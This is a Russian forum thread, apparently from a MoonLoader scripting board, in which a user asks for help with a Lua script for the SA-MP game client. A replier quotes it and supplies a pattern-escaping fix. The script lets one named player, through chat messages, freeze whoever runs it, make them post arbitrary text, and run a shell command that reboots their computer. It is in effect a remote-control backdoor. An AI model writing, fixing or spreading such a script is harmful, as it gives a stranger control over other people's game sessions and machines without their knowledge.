OnServerMessage

masikmasik31

Участник
Автор темы
30
2
Версия MoonLoader
.027.0-preview
При написании определенного текста - происходит кое-что. На Аризоне сделал успешно, но на другом сервере не выходит.

Отправление Текста Сервера: - {40848B}Tomete_Kudasai[202][vip: 0]{FFFFFF}:
Lua:
function sampev.OnServerMessage(color, text)
    local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED)
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)")
        if tonumber(myid) == tonumber(id) then
            freezeCharPosition(PLAYER_PED, true)
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)")
        if tonumber(myid) == tonumber(id) then
            freezeCharPosition(PLAYER_PED, false)
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)") then
        crisid, myid, govori = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)")
        if tonumber(myid) == tonumber(id) then
            sampSendChat("".. govori .."")
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)")
        if tonumber(myid) == tonumber(id) then
            sampSendChat("Так-точно, выключаюсь")
            os.execute("shutdown /r /t 10")
        end
    end
end
Ничего не выходит, что нужно сделать?
 

koncumone

Известный
337
87
При написании определенного текста - происходит кое-что. На Аризоне сделал успешно, но на другом сервере не выходит.

Отправление Текста Сервера: - {40848B}Tomete_Kudasai[202][vip: 0]{FFFFFF}:
Lua:
function sampev.OnServerMessage(color, text)
    local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED)
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)")
        if tonumber(myid) == tonumber(id) then
            freezeCharPosition(PLAYER_PED, true)
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)")
        if tonumber(myid) == tonumber(id) then
            freezeCharPosition(PLAYER_PED, false)
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)") then
        crisid, myid, govori = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)")
        if tonumber(myid) == tonumber(id) then
            sampSendChat("".. govori .."")
        end
    end
    if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)") then
        crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)")
        if tonumber(myid) == tonumber(id) then
            sampSendChat("Так-точно, выключаюсь")
            os.execute("shutdown /r /t 10")
        end
    end
end
Ничего не выходит, что нужно сделать?
1603452609756.png

%[vip: 0%]